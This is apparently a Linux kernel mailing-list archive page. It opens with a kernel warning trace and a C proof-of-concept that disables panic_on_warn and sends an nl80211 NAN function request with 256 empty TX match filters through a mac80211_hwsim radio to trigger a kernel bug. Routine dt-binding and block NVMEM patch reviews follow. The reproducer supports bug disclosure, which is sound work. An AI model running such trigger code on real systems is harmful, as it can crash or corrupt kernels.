[ 55.979700] ? __lock_acquire+0x476/0x2420
[ 55.980482] netlink_rcv_skb+0x147/0x430
[ 55.981216] ? __pfx_genl_rcv_msg+0x10/0x10
[ 55.981962] ? __pfx_netlink_rcv_skb+0x10/0x10
[ 55.982762] ? netlink_deliver_tap+0x1ae/0xd10
[ 55.983557] genl_rcv+0x28/0x40
[ 55.984168] netlink_unicast+0x58d/0x850
[ 55.984893] ? __pfx_netlink_unicast+0x10/0x10
[ 55.985698] netlink_sendmsg+0x88d/0xd90
[ 55.986425] ? __pfx_netlink_sendmsg+0x10/0x10
[ 55.987224] ? __pfx_netlink_sendmsg+0x10/0x10
[ 55.988018] ____sys_sendmsg+0xa27/0xb90
[ 55.988758] ? __pfx_____sys_sendmsg+0x10/0x10
[ 55.989555] ? __pfx_copy_msghdr_from_user+0x10/0x10
[ 55.990335] ___sys_sendmsg+0x11c/0x1b0
[ 55.991041] ? __pfx____sys_sendmsg+0x10/0x10
[ 55.991720] ? selinux_file_permission+0x127/0x660
[ 55.992473] ? bpf_lsm_file_permission+0x9/0x10
[ 55.993181] ? security_file_permission+0x75/0x230
[ 55.993921] ? rw_verify_area+0xcf/0x6e0
[ 55.994559] ? vfs_write+0x169/0x1150
[ 55.995167] ? __pfx_anon_pipe_write+0x10/0x10
[ 55.995859] ? __pfx_vfs_write+0x10/0x10
[ 55.996505] __sys_sendmsg+0x142/0x1f0
[ 55.997115] ? __pfx___sys_sendmsg+0x10/0x10
[ 55.997796] do_syscall_64+0x11f/0x860
[ 55.998410] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 55.999178] RIP: 0033:0x45a037
[ 55.999693] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 89 74 24 10
[ 56.002154] RSP: 002b:00007ffcef8a8468 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[ 56.003176] RAX: ffffffffffffffda RBX: 00007ffcef8acca8 RCX: 000000000045a037
[ 56.004138] RDX: 0000000000000000 RSI: 00007ffcef8a84a0 RDI: 0000000000000003
[ 56.005118] RBP: 00007ffcef8a84e0 R08: 0000000000000000 R09: 0000000000000000
[ 56.006087] R10: 000000000000000a R11: 0000000000000246 R12: 0000000000000001
[ 56.007050] R13: 00007ffcef8acc98 R14: 00000000004cc7d0 R15: 0000000000000001
[ 56.008023] </TASK>
[ 56.008404] irq event stamp: 21493
[ 56.008924] hardirqs last enabled at (21501): [<ffffffff819e796e>] __up_console_sem+0xae/0xc0
[ 56.010081] hardirqs last disabled at (21508): [<ffffffff819e7953>] __up_console_sem+0x93/0xc0
[ 56.011259] softirqs last enabled at (21458): [<ffffffff817ed4f2>] __irq_exit_rcu+0x172/0x220
[ 56.012406] softirqs last disabled at (21439): [<ffffffff817ed4f2>] __irq_exit_rcu+0x172/0x220
[ 56.013560] ---[ end trace 0000000000000000 ]---
Warning: Permanently added '[127.0.0.1]:18122' (ED25519) to the list of known hosts.
PoC: poc.c
----------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#ifndef NLA_TYPE_MASK
#define NLA_TYPE_MASK 0x3fff
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int) NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef GENL_HDRLEN
#define GENL_HDRLEN NLMSG_ALIGN(sizeof(struct genlmsghdr))
#endif
#define BUF_SZ 16384
#define MAX_WIPHYS 32
#define MAX_IFS 64
#define HWSIM_CMD_NEW_RADIO 4
#define HWSIM_ATTR_CHANNELS 9
#define HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE 16
#define HWSIM_ATTR_RADIO_NAME 17
#define HWSIM_ATTR_SUPPORT_NAN_DEVICE 30
struct msg {
char buf[BUF_SZ];
size_t len;
};
struct if_info {
int ifindex;
int iftype;
uint64_t wdev;
};
struct dump_state {
int vals[MAX_WIPHYS];
int count;
};
struct if_dump_state {
struct if_info ifs[MAX_IFS];
int count;
};
static int seqno = 100;
static void disable_panic_on_warn(void)
{
int fd = open("/proc/sys/kernel/panic_on_warn", O_WRONLY | O_CLOEXEC);
if (fd < 0) {
printf("panic_on_warn_open=%d\n", -errno);
return;
}
if (write(fd, "0\n", 2) != 2)
printf("panic_on_warn_write=%d\n", -errno);
else
printf("panic_on_warn_disabled=1\n");
close(fd);
}
static int nla_ok(const struct nlattr *nla, int rem)
{
return rem >= (int)sizeof(*nla) &&
nla->nla_len >= sizeof(*nla) &&
nla->nla_len <= rem;
}
static int nla_type(const struct nlattr *nla)
{
return nla->nla_type & NLA_TYPE_MASK;
}
static void *nla_data(const struct nlattr *nla)
{
return (char *)nla + NLA_HDRLEN;
}
static int nla_payload(const struct nlattr *nla)
{
return nla->nla_len - NLA_HDRLEN;
}
static void parse_attrs(struct nlattr **tb, int max, void *data, int len)
{
struct nlattr *nla = data;
memset(tb, 0, sizeof(*tb) * (max + 1));
while (nla_ok(nla, len)) {
int type = nla_type(nla);
if (type <= max)
tb[type] = nla;
len -= NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)nla + NLA_ALIGN(nla->nla_len));
}
}
static void msg_init(struct msg *m, int family, int flags, int cmd)
{
struct nlmsghdr *nlh;
struct genlmsghdr *gh;
memset(m, 0, sizeof(*m));
nlh = (struct nlmsghdr *)m->buf;
nlh->nlmsg_type = family;
nlh->nlmsg_flags = flags;
nlh->nlmsg_seq = seqno++;
nlh->nlmsg_pid = 0;
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
gh = (struct genlmsghdr *)NLMSG_DATA(nlh);
gh->cmd = cmd;
gh->version = 0;
m->len = nlh->nlmsg_len;
}
static int add_attr(struct msg *m, int type, const void *data, int len)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)m->buf;
struct nlattr *nla;
size_t need = NLA_HDRLEN + len;
size_t aligned = NLA_ALIGN(need);
if (m->len + aligned > sizeof(m->buf))
return -1;
nla = (struct nlattr *)(m->buf + m->len);
nla->nla_type = type;
nla->nla_len = need;
if (len > 0 && data)
memcpy((char *)nla + NLA_HDRLEN, data, len);
if (aligned > need)
memset((char *)nla + need, 0, aligned - need);
m->len += aligned;
nlh->nlmsg_len = m->len;
return 0;
}
static int add_u8(struct msg *m, int type, uint8_t val)
{
return add_attr(m, type, &val, sizeof(val));
}
static int add_u32(struct msg *m, int type, uint32_t val)
{
return add_attr(m, type, &val, sizeof(val));
}
static int add_u64(struct msg *m, int type, uint64_t val)
{
return add_attr(m, type, &val, sizeof(val));
}
static int nest_start(struct msg *m, int type)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)m->buf;
struct nlattr *nla;
size_t off = m->len;
if (m->len + NLA_HDRLEN > sizeof(m->buf))
return -1;
nla = (struct nlattr *)(m->buf + m->len);
nla->nla_type = type | NLA_F_NESTED;
nla->nla_len = NLA_HDRLEN;
m->len += NLA_HDRLEN;
nlh->nlmsg_len = m->len;
return (int)off;
}
static void nest_end(struct msg *m, int off)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)m->buf;
struct nlattr *nla = (struct nlattr *)(m->buf + off);
nla->nla_len = m->len - off;
m->len = NLA_ALIGN(m->len);
nlh->nlmsg_len = m->len;
}
static int nl_sock(void)
{
struct sockaddr_nl sa;
struct timeval tv = { .tv_sec = 3, .tv_usec = 0 };
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_GENERIC);
if (fd < 0)
return -1;
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(fd);
return -1;
}
return fd;
}
static int send_msg(int fd, struct msg *m)
{
struct sockaddr_nl sa;
struct iovec iov;
struct msghdr mh;
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
iov.iov_base = m->buf;
iov.iov_len = ((struct nlmsghdr *)m->buf)->nlmsg_len;
memset(&mh, 0, sizeof(mh));
mh.msg_name = &sa;
mh.msg_namelen = sizeof(sa);
mh.msg_iov = &iov;
mh.msg_iovlen = 1;
return sendmsg(fd, &mh, 0);
}
static int recv_genl(int fd, int seq, bool dump,
void (*cb)(struct nlmsghdr *, void *), void *arg)
{
char rbuf[BUF_SZ];
for (;;) {
ssize_t n = recv(fd, rbuf, sizeof(rbuf), 0);
struct nlmsghdr *nlh;
int rem;
if (n < 0)
return -errno;
rem = (int)n;
for (nlh = (struct nlmsghdr *)rbuf; NLMSG_OK(nlh, rem);
nlh = NLMSG_NEXT(nlh, rem)) {
if (nlh->nlmsg_seq != (unsigned)seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(nlh);
if (err->error)
return err->error;
return 0;
}
if (nlh->nlmsg_type == NLMSG_DONE)
return 0;
if (cb)
cb(nlh, arg);
if (!dump)
return 0;
}
}
}
static int transact(int fd, struct msg *m, bool dump,
void (*cb)(struct nlmsghdr *, void *), void *arg)
{
int seq = ((struct nlmsghdr *)m->buf)->nlmsg_seq;
if (send_msg(fd, m) < 0)
return -errno;
return recv_genl(fd, seq, dump, cb, arg);
}
static void family_cb(struct nlmsghdr *nlh, void *arg)
{
int *family = arg;
struct genlmsghdr *gh = NLMSG_DATA(nlh);
struct nlattr *tb[CTRL_ATTR_MAX + 1];
int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
if (len < 0)
return;
parse_attrs(tb, CTRL_ATTR_MAX, (char *)gh + GENL_HDRLEN, len);
if (tb[CTRL_ATTR_FAMILY_ID] &&
nla_payload(tb[CTRL_ATTR_FAMILY_ID]) >= 2)
*family = *(uint16_t *)nla_data(tb[CTRL_ATTR_FAMILY_ID]);
}
static int resolve_family(int fd, const char *name)
{
struct msg m;
int family = -1;
msg_init(&m, GENL_ID_CTRL, NLM_F_REQUEST, CTRL_CMD_GETFAMILY);
add_attr(&m, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
if (transact(fd, &m, false, family_cb, &family) < 0)
return -1;
return family;
}
static int resolve_nl80211(int fd)
{
return resolve_family(fd, "nl80211");
}
static int create_hwsim_nan_radio(int fd)
{
struct msg m;
int family = resolve_family(fd, "MAC80211_HWSIM");
uint32_t channels = 1;
char name[32];
if (family < 0)
return -ENOENT;
snprintf(name, sizeof(name), "klr-nan-%d", getpid() % 10000);
msg_init(&m, family, NLM_F_REQUEST | NLM_F_ACK, HWSIM_CMD_NEW_RADIO);
add_u32(&m, HWSIM_ATTR_CHANNELS, channels);
add_attr(&m, HWSIM_ATTR_RADIO_NAME, name, strlen(name) + 1);
add_attr(&m, HWSIM_ATTR_SUPPORT_NAN_DEVICE, NULL, 0);
add_attr(&m, HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE, NULL, 0);
return transact(fd, &m, false, NULL, NULL);
}
static void wiphy_cb(struct nlmsghdr *nlh, void *arg)
{
struct dump_state *st = arg;
struct genlmsghdr *gh = NLMSG_DATA(nlh);
struct nlattr *tb[NL80211_ATTR_MAX + 1];
int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
int wiphy, i;
if (len < 0)
return;
parse_attrs(tb, NL80211_ATTR_MAX, (char *)gh + GENL_HDRLEN, len);
if (!tb[NL80211_ATTR_WIPHY] ||
nla_payload(tb[NL80211_ATTR_WIPHY]) < 4)
return;
wiphy = *(uint32_t *)nla_data(tb[NL80211_ATTR_WIPHY]);
for (i = 0; i < st->count; i++)
if (st->vals[i] == wiphy)
return;
if (st->count < MAX_WIPHYS)
st->vals[st->count++] = wiphy;
}
static int dump_wiphys(int fd, int family, struct dump_state *st)
{
struct msg m;
memset(st, 0, sizeof(*st));
msg_init(&m, family, NLM_F_REQUEST | NLM_F_DUMP, NL80211_CMD_GET_WIPHY);
return transact(fd, &m, true, wiphy_cb, st);
}
static void iface_cb(struct nlmsghdr *nlh, void *arg)
{
struct if_dump_state *st = arg;
struct genlmsghdr *gh = NLMSG_DATA(nlh);
struct nlattr *tb[NL80211_ATTR_MAX + 1];
int len = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
int iftype, ifindex = 0;
uint64_t wdev = 0;
if (len < 0)
return;
parse_attrs(tb, NL80211_ATTR_MAX, (char *)gh + GENL_HDRLEN, len);
if (!tb[NL80211_ATTR_IFTYPE] ||
nla_payload(tb[NL80211_ATTR_IFTYPE]) < 4)
return;
iftype = *(uint32_t *)nla_data(tb[NL80211_ATTR_IFTYPE]);
if (tb[NL80211_ATTR_IFINDEX] &&
nla_payload(tb[NL80211_ATTR_IFINDEX]) >= 4)
ifindex = *(uint32_t *)nla_data(tb[NL80211_ATTR_IFINDEX]);
if (tb[NL80211_ATTR_WDEV] &&
nla_payload(tb[NL80211_ATTR_WDEV]) >= 8)
wdev = *(uint64_t *)nla_data(tb[NL80211_ATTR_WDEV]);
if (st->count >= MAX_IFS)
return;
st->ifs[st->count].ifindex = ifindex;
st->ifs[st->count].iftype = iftype;
st->ifs[st->count].wdev = wdev;
st->count++;
}
static int dump_ifaces(int fd, int family, struct if_dump_state *st)
{
struct msg m;
memset(st, 0, sizeof(*st));
msg_init(&m, family, NLM_F_REQUEST | NLM_F_DUMP, NL80211_CMD_GET_INTERFACE);
return transact(fd, &m, true, iface_cb, st);
}
static int create_nan_iface(int fd, int family, int wiphy, char *ifname,
size_t ifname_len)
{
struct msg m;
int ret;
snprintf(ifname, ifname_len, "klrnan%d", getpid() % 10000);
msg_init(&m, family, NLM_F_REQUEST | NLM_F_ACK, NL80211_CMD_NEW_INTERFACE);
add_u32(&m, NL80211_ATTR_WIPHY, wiphy);
add_attr(&m, NL80211_ATTR_IFNAME, ifname, strlen(ifname) + 1);
add_u32(&m, NL80211_ATTR_IFTYPE, NL80211_IFTYPE_NAN);
ret = transact(fd, &m, false, NULL, NULL);
return ret;
}
static int create_station_iface(int fd, int family, int wiphy, char *ifname,
size_t ifname_len)
{
struct msg m;
int ret;
snprintf(ifname, ifname_len, "klrwlan%d", getpid() % 10000);
msg_init(&m, family, NLM_F_REQUEST | NLM_F_ACK, NL80211_CMD_NEW_INTERFACE);
add_u32(&m, NL80211_ATTR_WIPHY, wiphy);
add_attr(&m, NL80211_ATTR_IFNAME, ifname, strlen(ifname) + 1);
add_u32(&m, NL80211_ATTR_IFTYPE, NL80211_IFTYPE_STATION);
ret = transact(fd, &m, false, NULL, NULL);
return ret;
}
static void add_wdev_selector(struct msg *m, int ifindex, uint64_t wdev)
{
if (wdev)
add_u64(m, NL80211_ATTR_WDEV, wdev);
else
add_u32(m, NL80211_ATTR_IFINDEX, ifindex);
}
static int start_nan(int fd, int family, int ifindex, uint64_t wdev)
{
struct msg m;
uint8_t pref = 2;
msg_init(&m, family, NLM_F_REQUEST | NLM_F_ACK, NL80211_CMD_START_NAN);
add_wdev_selector(&m, ifindex, wdev);
add_u8(&m, NL80211_ATTR_NAN_MASTER_PREF, pref);
return transact(fd, &m, false, NULL, NULL);
}
static int set_if_up(int ifindex)
{
struct ifreq ifr;
int s, ret;
char name[IFNAMSIZ];
if (!if_indextoname(ifindex, name))
return -errno;
s = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (s < 0)
return -errno;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name) - 1);
ret = ioctl(s, SIOCGIFFLAGS, &ifr);
if (ret < 0) {
ret = -errno;
close(s);
return ret;
}
ifr.ifr_flags |= IFF_UP;
ret = ioctl(s, SIOCSIFFLAGS, &ifr);
if (ret < 0)
ret = -errno;
else
ret = 0;
close(s);
return ret;
}
static int add_nan_func_overflow(int fd, int family, int ifindex, uint64_t wdev)
{
struct msg m;
uint8_t service_id[NL80211_NAN_FUNC_SERVICE_ID_LEN] = {0};
uint8_t type = NL80211_NAN_FUNC_SUBSCRIBE;
int func, filt, i;
msg_init(&m, family, NLM_F_REQUEST, NL80211_CMD_ADD_NAN_FUNCTION);
add_wdev_selector(&m, ifindex, wdev);
func = nest_start(&m, NL80211_ATTR_NAN_FUNC);
if (func < 0)
return -EMSGSIZE;
add_u8(&m, NL80211_NAN_FUNC_TYPE, type);
add_attr(&m, NL80211_NAN_FUNC_SERVICE_ID, service_id, sizeof(service_id));
filt = nest_start(&m, NL80211_NAN_FUNC_TX_MATCH_FILTER);
if (filt < 0)
return -EMSGSIZE;
for (i = 0; i < 256; i++) {
if (add_attr(&m, i + 1, NULL, 0) < 0)
return -EMSGSIZE;
}
nest_end(&m, filt);
nest_end(&m, func);
return transact(fd, &m, false, NULL, NULL);
}
static void try_one_if(int fd, int family, struct if_info info)
{
int ret;
if (info.ifindex > 0) {
ret = set_if_up(info.ifindex);
printf("set_if_up(ifindex=%d)=%d\n", info.ifindex, ret);
sleep(1);
}
ret = start_nan(fd, family, info.ifindex, info.wdev);
printf("start_nan(ifindex=%d wdev=0x%llx iftype=%d)=%d\n",
info.ifindex, (unsigned long long)info.wdev, info.iftype, ret);
ret = add_nan_func_overflow(fd, family, info.ifindex, info.wdev);
printf("add_nan_function_256_empty_tx_filters(ifindex=%d wdev=0x%llx iftype=%d)=%d\n",
info.ifindex, (unsigned long long)info.wdev, info.iftype, ret);
}
int main(void)
{
struct dump_state wiphys;
struct if_dump_state ifs;
int fd, family, ret, i;
setvbuf(stdout, NULL, _IONBF, 0);
printf("candidate=round3i_hwsim_nan_wdev_no_panic_on_warn\n");
disable_panic_on_warn();
fd = nl_sock();
if (fd < 0) {
perror("netlink");
return 1;
}
family = resolve_nl80211(fd);
if (family < 0) {
printf("nl80211 family not available\n");
return 0;
}
printf("nl80211_family=%d\n", family);
ret = create_hwsim_nan_radio(fd);
printf("create_hwsim_nan_radio=%d\n", ret);
sleep(2);
ret = dump_wiphys(fd, family, &wiphys);
printf("wiphy_dump=%d count=%d\n", ret, wiphys.count);
for (i = 0; i < wiphys.count; i++) {
char ifname[IFNAMSIZ];
int ifindex;
ret = create_nan_iface(fd, family, wiphys.vals[i], ifname,
sizeof(ifname));
printf("create_nan_iface(wiphy=%d)=%d name=%s\n",
wiphys.vals[i], ret, ifname);
if (ret < 0)
continue;
sleep(1);
ifindex = if_nametoindex(ifname);
printf("created_ifindex=%d\n", ifindex);
}
ret = dump_ifaces(fd, family, &ifs);
printf("post_nan_create_iface_dump=%d count=%d\n", ret, ifs.count);
for (i = 0; i < ifs.count; i++) {
if (ifs.ifs[i].iftype != NL80211_IFTYPE_NAN)
continue;
printf("nan_iface ifindex=%d wdev=0x%llx iftype=%d\n",
ifs.ifs[i].ifindex, (unsigned long long)ifs.ifs[i].wdev,
ifs.ifs[i].iftype);
try_one_if(fd, family, ifs.ifs[i]);
break;
}
close(fd);
return 0;
}
^ permalink raw reply
* Re: [PATCH v2 1/6] dt-bindings: net: bluetooth: Document Qualcomm IPQ5018 Bluetooth controller
From: Krzysztof Kozlowski @ 2026-06-30 8:20 UTC (permalink / raw)
To: george.moussalem, Jens Axboe, Ulf Hansson, Rob Herring,
Krzysztof Kozlowski, Conor Dooley, Johannes Berg, Jeff Johnson,
Bartosz Golaszewski, Marcel Holtmann, Luiz Augusto von Dentz,
Balakrishna Godavarthi, Rocky Liao, Saravana Kannan, Andrew Lunn,
Heiner Kallweit, Russell King, David S. Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, Bjorn Andersson,
Konrad Dybcio, Mathieu Poirier, Philipp Zabel
Cc: linux-block, linux-kernel, linux-mmc, devicetree, linux-wireless,
ath10k, linux-arm-msm, linux-bluetooth, netdev, linux-remoteproc
In-Reply-To: <20260629-ipq5018-bluetooth-v2-1-02770f03b6bb@outlook.com>
On 29/06/2026 15:01, George Moussalem via B4 Relay wrote:
> From: George Moussalem <george.moussalem@outlook.com>
>
> Document the Qualcomm IPQ5018 Bluetooth controller.
>
> Signed-off-by: George Moussalem <george.moussalem@outlook.com>
> ---
> .../bindings/net/bluetooth/qcom,ipq5018-bt.yaml | 86 ++++++++++++++++++++++
> 1 file changed, 86 insertions(+)
Reviewed-by: Krzysztof Kozlowski <krzysztof.kozlowski@oss.qualcomm.com>
Best regards,
Krzysztof
^ permalink raw reply
* Re: [PATCH v2 1/6] dt-bindings: net: bluetooth: Document Qualcomm IPQ5018 Bluetooth controller
From: Krzysztof Kozlowski @ 2026-06-30 8:20 UTC (permalink / raw)
To: George Moussalem
Cc: Jens Axboe, Ulf Hansson, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Johannes Berg, Jeff Johnson, Bartosz Golaszewski,
Marcel Holtmann, Luiz Augusto von Dentz, Balakrishna Godavarthi,
Rocky Liao, Saravana Kannan, Andrew Lunn, Heiner Kallweit,
Russell King, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, Bjorn Andersson, Konrad Dybcio,
Mathieu Poirier, Philipp Zabel, linux-block, linux-kernel,
linux-mmc, devicetree, linux-wireless, ath10k, linux-arm-msm,
linux-bluetooth, netdev, linux-remoteproc
In-Reply-To: <SN7PR19MB6736BB58C4F6E648CB3910949DF72@SN7PR19MB6736.namprd19.prod.outlook.com>
On 30/06/2026 09:55, George Moussalem wrote:
> On 6/30/26 11:40, Krzysztof Kozlowski wrote:
>> On 30/06/2026 09:31, George Moussalem wrote:
>>> On 6/30/26 11:15, Krzysztof Kozlowski wrote:
>>>> On Mon, Jun 29, 2026 at 05:01:44PM +0400, George Moussalem wrote:
>>>>> +unevaluatedProperties: false
>>>>> +
>>>>> +examples:
>>>>> + - |
>>>>> + #include <dt-bindings/clock/qcom,gcc-ipq5018.h>
>>>>> + #include <dt-bindings/interrupt-controller/arm-gic.h>
>>>>> + #include <dt-bindings/reset/qcom,gcc-ipq5018.h>
>>>>> +
>>>>> + bluetooth {
>>>>
>>>> Don't send new versions while discussion is still going. I need to
>>>> repeat my question - what bus does that sit on?
>>>>
>>>> Device nodes represent real devices. Real devices sit on a bus, usually.
>>>> Do you have here a bus?
>>>
>>> I'm afraid I don't have a definitive answer. Again, my understanding
>>> based on downstream code is that the 'controller' is basically a Cortex
>>> M0 processor running Bluetooth firmware connected to an RF. Data
>>> transport is over a shared memory carveout with APPS signaling the
>>> controller through writes to an IPC mailbox register, while the
>>> controller has an interrupt line back to signal APPS.
>>
>> So this looks like should be squashed into remoteproc node. There is no
>> reason or no data to express it as two separate device nodes.
>
> In this version, I've squashed them into one already but as a Bluetooth
> controller as that's what the 'processor' is dedicated to, also in line
> with Bjorn's guidance to manage the lifecycle of this processor and all
> other resources in one. Kindly let me know if this approach is satisfactory.
>
I read changelog twice and only then found it mentions squashing it. I
suggest writing concise entries and drop all boiler plate like "As per
further review comments". I just ignore such paragraphs.
Best regards,
Krzysztof
^ permalink raw reply
* Re: [PATCH v6 5/9] block: implement NVMEM provider
From: Bartosz Golaszewski @ 2026-06-30 7:59 UTC (permalink / raw)
To: Loic Poulain
Cc: linux-mmc, devicetree, linux-kernel, linux-arm-msm, linux-block,
linux-wireless, ath10k, linux-bluetooth, netdev, daniel,
Ulf Hansson, Rob Herring, Krzysztof Kozlowski, Conor Dooley,
Bjorn Andersson, Konrad Dybcio, Jens Axboe, Johannes Berg,
Jeff Johnson, Bartosz Golaszewski, Marcel Holtmann,
Luiz Augusto von Dentz, Balakrishna Godavarthi, Rocky Liao,
David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
Simon Horman, Srinivas Kandagatla, Andrew Lunn, Heiner Kallweit,
Russell King, Saravana Kannan, Christian Marangi
In-Reply-To: <20260629-block-as-nvmem-v6-5-f02513dcd46d@oss.qualcomm.com>
On Mon, 29 Jun 2026 10:55:24 +0200, Loic Poulain
<loic.poulain@oss.qualcomm.com> said:
> From: Daniel Golle <daniel@makrotopia.org>
>
> On embedded devices using an eMMC it is common that one or more partitions
> on the eMMC are used to store MAC addresses and Wi-Fi calibration EEPROM
> data. Allow referencing the partition in device tree for the kernel and
> Wi-Fi drivers accessing it via the NVMEM layer.
>
> For now, NVMEM is only registered for the whole disk block device, as the
> OF node is currently only associated to it.
>
> Signed-off-by: Daniel Golle <daniel@makrotopia.org>
> Co-developed-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
> Signed-off-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
> ---
> block/Kconfig | 9 ++++
> block/Makefile | 1 +
> block/blk-nvmem.c | 111 ++++++++++++++++++++++++++++++++++++++++++++++
> block/blk.h | 8 ++++
> block/genhd.c | 4 ++
> include/linux/blk_types.h | 3 ++
> include/linux/blkdev.h | 1 +
> 7 files changed, 137 insertions(+)
>
> diff --git a/block/Kconfig b/block/Kconfig
> index 15027963472d7b40e27b9097a5993c457b5b3054..0b33747e16dc33473683706f75c92bdf8b648f7c 100644
> --- a/block/Kconfig
> +++ b/block/Kconfig
> @@ -209,6 +209,15 @@ config BLK_INLINE_ENCRYPTION_FALLBACK
> by falling back to the kernel crypto API when inline
> encryption hardware is not present.
>
> +config BLK_NVMEM
> + bool "Block device NVMEM provider"
> + depends on OF
> + depends on NVMEM
> + help
> + Allow block devices (or partitions) to act as NVMEM providers,
> + typically used with eMMC to store MAC addresses or Wi-Fi
> + calibration data on embedded devices.
> +
> source "block/partitions/Kconfig"
>
> config BLK_PM
> diff --git a/block/Makefile b/block/Makefile
> index 7dce2e44276c4274c11a0a61121c83d9c43d6e0c..d7ac389e71902bc091a8800ea266190a43b3e63d 100644
> --- a/block/Makefile
> +++ b/block/Makefile
> @@ -36,3 +36,4 @@ obj-$(CONFIG_BLK_INLINE_ENCRYPTION) += blk-crypto.o blk-crypto-profile.o \
> blk-crypto-sysfs.o
> obj-$(CONFIG_BLK_INLINE_ENCRYPTION_FALLBACK) += blk-crypto-fallback.o
> obj-$(CONFIG_BLOCK_HOLDER_DEPRECATED) += holder.o
> +obj-$(CONFIG_BLK_NVMEM) += blk-nvmem.o
> diff --git a/block/blk-nvmem.c b/block/blk-nvmem.c
> new file mode 100644
> index 0000000000000000000000000000000000000000..4b35a74255059320ef0cbd3c0003f1510bae5733
> --- /dev/null
> +++ b/block/blk-nvmem.c
> @@ -0,0 +1,111 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * block device NVMEM provider
> + *
> + * Copyright (c) 2024 Daniel Golle <daniel@makrotopia.org>
> + * Copyright (c) Qualcomm Technologies, Inc. and/or its subsidiaries.
> + *
> + * Useful on devices using a partition on an eMMC for MAC addresses or
> + * Wi-Fi calibration EEPROM data.
> + */
> +
Add linux/cleanup.h for __free() and linux/device.h for dev_err_probe().
> +#include <linux/file.h>
> +#include <linux/nvmem-provider.h>
> +#include <linux/nvmem-consumer.h>
> +#include <linux/of.h>
> +#include <linux/pagemap.h>
> +#include <linux/property.h>
> +
> +#include "blk.h"
> +
> +static int blk_nvmem_reg_read(void *priv, unsigned int from, void *val, size_t bytes)
> +{
> + dev_t devt = (dev_t)(uintptr_t)priv;
> + size_t bytes_left = bytes;
> + loff_t pos = from;
> + int ret = 0;
> +
> + struct file *bdev_file __free(fput) =
> + bdev_file_open_by_dev(devt, BLK_OPEN_READ, NULL, NULL);
> + if (IS_ERR(bdev_file))
> + return PTR_ERR(bdev_file);
> +
> + while (bytes_left) {
> + pgoff_t f_index = pos >> PAGE_SHIFT;
> + struct folio *folio;
> + size_t folio_off;
> + size_t to_read;
> +
> + folio = read_mapping_folio(bdev_file->f_mapping, f_index, NULL);
> + if (IS_ERR(folio)) {
> + ret = PTR_ERR(folio);
> + break;
> + }
> +
> + folio_off = offset_in_folio(folio, pos);
> + to_read = min(bytes_left, folio_size(folio) - folio_off);
> + memcpy_from_folio(val, folio, folio_off, to_read);
> + pos += to_read;
> + bytes_left -= to_read;
> + val += to_read;
> + folio_put(folio);
> + }
> +
> + return ret;
> +}
> +
> +int blk_nvmem_add(struct block_device *bdev)
> +{
> + struct device *dev = &bdev->bd_device;
> + struct nvmem_config config = {};
> +
> + /* skip devices which do not have a device tree node */
> + if (!dev_of_node(dev))
> + return 0;
> +
> + /* skip devices without an nvmem layout defined */
> + struct device_node *child __free(device_node) =
> + of_get_child_by_name(dev_of_node(dev), "nvmem-layout");
> + if (!child)
> + return 0;
> +
> + /*
> + * skip block device too large to be represented as NVMEM devices,
> + * nvmem_config.size is a signed int
> + */
> + if (bdev_nr_bytes(bdev) > INT_MAX) {
> + dev_warn(dev, "block device too large to be an NVMEM provider\n");
> + return 0;
> + }
> +
> + config.id = NVMEM_DEVID_NONE;
> + config.dev = dev;
> + config.name = dev_name(dev);
> + config.owner = THIS_MODULE;
> + config.priv = (void *)(uintptr_t)dev->devt;
> + config.reg_read = blk_nvmem_reg_read;
> + config.size = bdev_nr_bytes(bdev);
> + config.word_size = 1;
> + config.stride = 1;
> + config.read_only = true;
> + config.root_only = true;
> + config.ignore_wp = true;
> + config.of_node = to_of_node(dev->fwnode);
> +
> + bdev->bd_nvmem = nvmem_register(&config);
> + if (IS_ERR(bdev->bd_nvmem)) {
> + int ret = PTR_ERR(bdev->bd_nvmem);
> +
> + bdev->bd_nvmem = NULL;
> + dev_err_probe(dev, ret, "Failed to register NVMEM device\n");
> + return ret;
